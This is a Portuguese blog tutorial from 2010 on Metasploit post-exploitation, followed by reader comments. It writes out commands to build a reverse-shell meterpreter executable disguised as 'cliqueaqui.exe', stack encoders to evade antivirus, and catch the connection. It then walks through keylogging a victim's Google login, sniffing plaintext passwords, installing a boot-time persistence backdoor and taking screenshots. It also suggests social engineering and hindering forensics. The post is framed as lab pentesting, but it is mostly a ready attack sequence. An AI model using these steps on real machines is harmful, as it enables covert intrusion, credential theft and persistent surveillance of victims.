domingo, 21 de fevereiro de 2010

Metasploit Exploitation

Metasploit¹ é uma ferramenta utilizada, em sua maior parte, por Pen Testers², para a realização de testes de penetração (penetration test), podendo ser usada pelas mais variadas áreas, para fins de testes, análises, conhecimento, etc. Este artigo visa demonstrar algumas formas de uso para a pós-exploração de um alvo, usando o framework Metasploit, este que se encontra em sua versão 3.3.4-dev.


Recomendo, para este artigo um conhecimento prévio sobre o framework, linha de comando em Linux³, redes de computadores⁴, TCP/IP⁵, etc!

O cenário utilizado para a criação deste artigo é mostrado na figura a baixo.




Descrição:
Attacker = De onde partiram os ataques.
Roteador1 = Roteador da rede local do atacante.
XX.XX.XX.XX = IP WAN
YY.YY.YY.YY = IP WAN
Roteador2 = Roteador da rede local do alvo.
10.0.0.0/8 = Classe utilizada na rede interna do alvo.

Obs.: Ficar atento ao redirecionamento das portas no roteador para a máquina atacante.

Nota: Em seus testes, não há a necessidade de utilizar as mesmas classes de IPs, quantidades de máquinas utilizadas neste exemplo, fica a seu critério a alteração dos mesmos.

Dica: Com 2 máquinas reais e softwares de virtualização⁶ instalada em ambos, você conseguirá montar o cenário acima proposto.

Começando:
Assumirei que você já tenha estabelecido uma sessão meterpreter com pelo 1 máquina na rede alvo.

Ah, ainda não? E não sabe como fazer?Ok! Sem problemas, irei demonstrar uma simples técnica apenas para ganharmos a sessão meterpreter e assim podermos continuar com nosso artigo.

Entre no diretório do MSF com o seguinte comando:

root@bt:~# cd /pentest/exploits/framework3/

Ok! Antes de continuarmos, é sempre bom mantermos o metasploit atualizado, sendo assim, como já estamos no diretório do msf, basta o comando svn update para atualizarmos o MSF.

root@bt:/pentest/exploits/framework3# svn update
Com o msf atualizado, iremos criar o payload que enviaremos para o nosso alvo.
Prosseguimos com o seguinte comando:

root@bt:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 X > cliqueaqui.exe
Será criado no diretório corrente o arquivo executável “cliqueaqui.exe”, agora basta enviar para o alvo e aguardá-lo clicar para execução, certo?

NÃO, não está certo! E os anti-virus? Com este simples payload que criamos, o AV, detectará assim que ele por os “pés” no alvo!

Se enviarmos o arquivo criado acima “cliqueaqui.exe” para uma analise online com vários AVs, veremos que muitos o detectam.
Utilizei o site Virus Total⁸ para a verificação online do arquivo, veja a imagem abaixo que dos 40 AVs existentes no site, apenas 13 identificam o nosso arquivo “cliqueaqui.exe”.


Veja também no site Verificador de Malware Jotti⁹, neste, dos 20 scanners, 7 detectam o arquivo.


Sendo assim, vamos “tunar” nosso arquivo cliqueaqui.exe. Digite o seguinte comando:

root@bt:/pentest/exploits/framework3# msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 R | msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw | msfencode -c 5 -a x86 -e x86/alpha_mixed -t raw | msfencode -c 3 -e x86/call4_dword_xor -t exe > cliqueaqui2.exe

Obs.: Troquem XX.XX.XX.XX pelo IP WAN do seu roteador!

Obs.: Lembrando que o comando acima não é a melhor prática para burlar AV!

Pronto, agora podemos ver que já diminuímos a quantidade de AVs que estavam detectando nosso arquivo, como pode ser visto na figura abaixo.


Concluído a criação do nosso payload, agora vamos para a próxima fase.

Nota: Não entrarei em detalhes nas opções usadas acima a princípio, assim que possível explicarei os opções novamente com outro artigo mais detalhado neste quesito.

Dica: Aqui foi usado um simples payload reverso para conseguirmos estabelecer a sessão meterpreter. Mais poderiam ser utilizados outras técnicas, como, envio de arquivo pdf com código malicioso, uma imagem jpeg, um arquivo doc, usando engenharia social fazendo com que a vitima execute outros arquivos, etc.. Fica para um próximo artigo.

USEM A IMAGINAÇÃO.

Dica: Gaste algum tempo na leitura das opções dos comandos usados acima.

# ./msfpayload –h
# ./msfencode –h
# ./msfencode –l


Obs.: Vou considerar que vocês criaram um ambiente virtual para os testes, sendo assim, não há a necessidade de aprofundar (não agora!) em criação de payloads e tal, na máquina virtual, vocês podem desabilitar o AV e executar o primeiro payload que criamos, assim, será criada a sessão entre o atacante e o alvo normalmente.

Console Metasploit:
Agora que criamos nosso arquivo “cliqueaqui2.exe” e enviamos ao alvo, precisamos deixar nosso msf “escutando” as conexões, esperando a execução do nosso arquivo no alvo.
Para isso, de os seguintes comandos no console do metasploit:

msf > use exploit/multi/handler
msf > set PAYLOAD Windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.0.110
msf > set LPORT 4455
msf > exploit


Veja os comandos na imagem abaixo:


Ao ser executado o nosso arquivo no computador da vitima, será estabelecida uma conexão entre o Atacante e o alvo. Assim, ganhamos nossa Shell meterpreter.
Veja imagem abaixo.


Aparentemente parece que está travado, mais não está! Repare que a sessão meterpreter já foi criada, sendo assim, pressionamos Ctrl+C para finalizar este “travamento”.
Agora digite o comando sessions –l, como abaixo.


Temos uma sessão ativa com ID de número 1 identificando-a.
Veja que aparentemente conectamos do IP da nossa máquina local (192.168.0.110) com o IP WAN do roteador2 (YY.YY.YY.YY).

Agora vamos interagir com o console meterpreter, basta o comando sessions –i 1 como mostrado abaixo.


Yes! Agora sim, vamos começar o artigo! :)

Meterpreter
O meterpreter supera as limitações e fornece várias APIs que permite ao atacante executar diversos ataques de exploração no Shell meterpreter, podendo ir mais a fundo e descobrindo o máximo possível de informações do alvo e da rede interna. Meterpreter proporciona uma enorme flexibilidade para o processo de pós-exploração, deixando-o até escrever seus próprios scripts meterpreter.

Bom, chega de bla bla bla!!!

Como estamos executando em cima do processo “cliqueaqui2.exe”, precisamos migrar para um processo mais estável, onde um usuário dificilmente irá ver onde estamos!


Agora vejamos no console meterpreter o processo que estamos com o comando getpid, seguido do comando ps.


Agora vamos migrar para o processo explorer.exe com o comando migrate. Repare na imagem acima o PID do processo explorer.exe.


Ok! Deseja ver a versão do Windows que você está atacando?
Simples, dê o comando sysinfo.


Agora vejamos o IP da máquina que estamos executando com o comando ipconfig.


Comandos simples até agora, se quiser ver os comandos disponíveis para uso no console meterpreter, basta executar o comando help ou simplesmente ?.


Avançando com Meterpreter.

Agora vamos usar o keylogging¹⁰ e vamos tentar capturar o máximo das teclas digitadas pelo usuário. Está é uma técnica demorada para retorno de informações e consome muito tempo, eu aconselho usa-lá após ter retirado o máximo de informações do alvo e também depois da instalação de algum backdoor¹¹, para que assim, caso o usuário desligue ou reinice a máquina, consigamos voltar a acessá-la posteriormente.
Com o comando keyscan_start, iniciamos o nosso keylogger, agora só esperar um tempo e ver os resultados.


Na imagem abaixo estou tentado fazer login nos serviços do Google.


Agora vamos ver o que nosso keylogger pegou com o comando keyscan_dump e logo em seguida finalizo o mesmo.


Repare na imagem acima, que foi capturado o meu e-mail (meulogin) e minha senha (minhasenha).

Sniffing com Meterpreter.

Vamos sniffar o que passa pela nossa interface do alvo e ver o que conseguimos pegar de interessante.
Primeiramente, precisamos carregar o módulo sniffer¹² com o comando use sniffer, em seguida, pedimos para listar as interfaces de rede com o comando sniffer_interfaces. Iremos iniciar nosso sniffer nesta interface indicada pelo numero 1, com o comando sniffer_start 1, podemos esperar o tempo que você achar conveniente. Já foi tomar uma água? Uma cerveja? Tomou banho? Não? Ok! Não faz mal, vou salvar o que ele farejou até agora em um arquivo com extensão .cap, com o nome de sniffer, com o comando sniffer_dump 1 /tmp/sniffer.cap, para eu poder analisá-lo com outra ferramenta mais intuitiva, e logo após, encerro o sniffing.


Vejamos algumas informações sobre o arquivo sniffer.cap usando o capinfos.


Vamos analisar o arquivo sniffer.cap com a ferramenta Wireshark¹³.
Basta abrir o Wireshark e ir em File > Open e apontar para o arquivo sniffer.cap.


Agora veja a interface do Wireshark já com o arquivo sniffer.cap carregado. E as senhas em plaint-text heim? Perigooo!!! :


Ah! Você não gosta do Wireshark ou não quer usá-lo agora? Prefere o tcpdump?
No problem! Vamos analisar o arquivo sniffer.cap com o tcpdump¹⁴ então, oras!!!

root@bt:~# tcpdump –n –r sniffer.cap

Se quiser ver as primeiras 10 linhas do arquivo, basta adicionar head –n 10 na frente do comando acima.

root@bt:~# tcpdump –n –r sniffer.cap head –n 10

Vamos continuar com o sniffer, só que agora executando com o modo interativo do ruby¹⁵, basta executar o comando irb e voilà!!


Seria interessante, para uma melhor compreensão, ter noções básicas da linguagem ruby.
Como o modo interativo está “doido” para trabalhar, vamos lá.
Um pouco acima, quando executamos o comando use sniffer, por trás dos panos (ou cortinas!), estava executando a seguinte chamada API, client.core.use(“sniffer”) e quando executamos o comando sniffer_interfaces, estavamos invocando (Sai capeta!) a chamada API, client.sniffer.interfaces().
Veja e compare as saídas abaixo.


Olhe a imagem acima e repare que ao passar para o irb a chamada client.core.use(“sniffer”), ele nos retorna true, nos confirmando que foi carregado com êxito. E quando passamos a chamada client.sniffer.interfaces(), nos retorna informações sobre a nossa interface, repare as saídas de ambas as saídas.

E a chamada para iniciarmos o sniffing? Cadê? Calma, está aqui! A chamada API é client.sniffer.capture_start(intf, maxp), vemos que a chamada aceita dois valores, intf é a identificação da interface, repare na imagem acima que conseguimos saber este valor executando a chamada client.sniffer.interfaces(), onde pegamos o valor de “idx”. E o valor de maxp, é a quantidade máxima de pacotes que iremos armazenar no buffer. Ambos deverão ser valores inteiros. Logo em seguida com a chamada client.sniffer.capture_stats(1), vemos o quanto já conseguimos snifar até o momento!


Hora de analisar o que farejamos não? Ohh Yes!! Lembra quando executamos o comando sniffer_dump? Pois é, agora vamos executar a sua chamada API que é identificada por client.sniffer.capture_dump(intf), nesta chamada obtemos do buffer as informações e já apagando-a, par ler os dados precisamos invocar o espírito do... Ops! Me empolguei! Como dizia, precisamos da chamada client.sniffer.capture_dump_read(intf,1024*512).

Ok, já vimos como funciona mais ou menos internamente, agora podemos parar nosso sniffing com a chamada client.sniffer.capture_stop(1), passando a identificação do nossa interface, que equivale ao comando sniffer_stop 1.

Poxa! Vamos parar de “cheirar” agora (Isto me lembra um jogador famoso, deixa pra lá!).

Mantendo o Acesso.

Pois bem, até aqui está indo as mil maravilhas certo?
Não! Está indo mais ou menos, e se a pessoa reiniciar ou até mesmo desligar a máquina destino? Bom, vamos querer continuar com acesso a ela, para que posteriormente possamos obter mais informações ainda. Para isso, existe um script meterpreter que nos ajudará fazer o que queremos, seu nome é persistence! Muito prazer senhor Persistence! :P
Para que possamos manter o acesso com a máquina alvo, precisamos executar o seguinte comando no console meterpreter mostrado logo abaixo, este script é super difícil de utilizá-lo!

meterpreter > run persistence –X

Está vendo que dificuldade você terá pra conseguir manter o acesso com a máquina?
Brincadeiras a parte, vamos à explicação!


O comando acima criará um arquivo executável na maquina destino, a opção –X serve para que o arquivo criado seja executado durante o boot da máquina destino, vejam onboot=true. Repare na saída do comando o endereço IP local da máquina do atacante e que ela escutará na porta 4444, que é a padrão, podemos alterar a porta padrão para outra que nos convenha usando a opção –p seguido do número da porta, exemplo, -p 5555.
Veja que foi feito o upload do executável em C:\DOCUME~1\espreto\CONFIG~1\Temp\RVcLLgpYIYS.vbs e foi identificado com o PID 1052, vejam a saída do comando ps, e observem que foi criado com o nome wscript.exe.
E em seguida, foi criado um arquivo autorun na seguinte chave do registro HKLM\Software\Microsoft\Windows\CurrentVersion\Run\yjvpnmqbcAXmWU.

Para testarmos, feche a janela do nosso console msf e abra-a novamente, vamos configurar o exploit multi/handler para ficar aguardando pela conexão. Se você estiver utilizando uma máquina real ou virtual como alvo, desligue-a.


Conforme a imagem acima, agora ligue a máquina que estávamos atacando e espere alguns instantes para que possamos ganhar nossa Shell meterpreter.


Ok! Temos nossa Shell novamente e podemos continuar nossa exploração.

PrintScreen

Outro recurso legal que o meterpreter nos oferece, é a possibilidade de tirarmos um printscreen da máquina destino, assim podemos ver o que a nossa vítima está fazendo naquele momento, não tão interessante, mais dá pra dar umas boas risadas!

Este é outro script extremamente difícil de usar. Reparem logo abaixo. :P


Usamos o comando use espia, para carregar o módulo meterpreter e em seguida executamos o comando screenshot seguido pelo caminho onde será salvo nosso screenshot com o nome de print1.png. Viram a dificuldade? Hehehe! Vejam a saída da imagem abaixo!


Conclusão

Como havia mencionado, o meterpreter oferece uma enorme flexibilidade para a pós-exploração, aqui neste artigo, escrevi algumas de suas particularidades. Poderia escrever um livro enorme sobre todas as possibilidades de uso para o framework! (Quem sabe!)

De posse da Shell meterpreter existe diversos recursos que podemos utilizar para explorar ainda mais todos os recursos da rede, como, explorar outros computadores da rede a partir deste que estamos, habilitar o recurso de RDP (Remote Desktop Protocol), instalação de backdoors mais sofisticados, capturar hashs, dificultar o trabalho de perícia forense (Show!), entre várias outras possibilidades.

Caso apareçam dúvidas (Óbvio) referentes a este artigo, peço que, se possível, me enviem um e-mail para robertoespreto@gmail.com, pois vejo minha caixa de entrada toda hora. Mandem sugestões também sobre o metasploit que assim que possível escreverei sobre o mesmo.

Obrigado a todos e quem teve paciência de chegar até aqui!
Abraços!!!

3spreto
®


Referências.
1 – Metasploit
http://www.metasploit.com/

2 – Pen Tester
http://en.wikipedia.org/wiki/Penetration_test

3 – Linux
http://www.vivaolinux.com.br/linux/

4 – Redes de Computadores
http://pt.wikipedia.org/wiki/Rede_de_computadores

5 – Introdução ao TCP/IP
http://www.vivaolinux.com.br/artigo/Introducao-ao-Protocolo-Internet-IP

6 – Virtualização
http://www.vivaolinux.com.br/artigo/Virtualizacao-Montando-uma-rede-virtual-para-testes-e-estudos-de-servicos-e-servidores

7 – SVN Metasploit
https://www.metasploit.com/svn/framework3/trunk/

8 – Virus Total
http://www.virustotal.com/pt/

9 – Scan Malware Jotti
http://virusscan.jotti.org/pt-br

10 – Keylogging
http://pt.wikipedia.org/wiki/Keylogger

11 – Backdoor
http://pt.wikipedia.org/wiki/Backdoor

12 – Sniffing
http://pt.wikipedia.org/wiki/Sniffing

13 – Wireshark
http://www.wireshark.org/

14 – TCPDUMP
http://www.tcpdump.org/

15 – Linguagem Ruby
http://www.ruby-lang.org/pt/

16 – Blog Codesec.
http://codesec.blogspot.com/


Tanks!!!

®

10 comentários:

  1. Parabéns pelo post. Ficou bem bacana.

    Abc!

    ResponderExcluir
  2. Obrigado...
    Otimo trabalho,porem um prato cheio para os Kids,rsrsr Mas que pode ser relevado,pois quanto mais conteudo assim estiver disponivel mais segurança a maioria dos usuarios terá,foi assim com os Keyloggers e trojans...
    huahuahauh como será que alguns profissionais do pen test estão vendo seu trabalho??Acredito que com Antipatia.
    Parabéns!!! e novamente obrigado.

    ResponderExcluir
  3. @Hypnotica

    Valeu, obrigado!

    @Anônimo

    Valeu, obrigado!
    Não acredito que os Kids se dêem bem em algumas partes do artigo, existe alguns "tricks" para o uso do Framework. Quanto aos profissionais de segurança, não acredito que estejam vendo com antipatia, pois o Metasploit é uma excelente ferramenta para exploração! O que falar do meterpreter? Grande parte, senão a maioria, dos profissionais da área com certeza a usam!
    Abraços...

    ResponderExcluir
  4. "criado com o nome wscript.exe."
    Esta informação está incorreta, wscript.exe é o interpretador vbscript.
    Legal seu artigo, mas sugiro manter um teor de maior seriedade.
    Grande abraço e parabens.

    ResponderExcluir
  5. Obrigado pelo comentário Douglas!
    De jeito descontraído, é o modo como tento lidar com o assunto técnico, de forma a não deixar o leitor cansado e estimular sua leitura até o final. Valeu e um grande abraço pra você também! Até...

    ®

    ResponderExcluir
  6. Parabens ta show mesmo!
    kadu

    ResponderExcluir
  7. E aí espreto

    Parabéns pelo artigão... curto artigo escrito assim, descontraído!
    Gostaria de acrescentar algo: gosto de seguir tutos, mas preferiro estudar sobre o funcionamento, então quando você escreve "Bom, chega de bla bla bla!!!" eu preferiria muito mais "bla bla bla" acompanhado com o tuto; sei que o propósito é demostração e também sei que deixou aí uma vasta documentação (links) para estudo. Mas fica aí minha sugestão :-)

    Parabéns!

    ResponderExcluir
  8. Mano muito boas suas explicações!!!
    Vc desmostra total dominio do assunto!!
    Alem de explicar de forma clara e super objetiva!!
    Se alguem não conseguir entender do jeito q vc explica brother pode mandar se matar!! Parabens muito bom mesmo!!

    happy hacking!!!

    ResponderExcluir

To get the latest update of me and my works

>> <<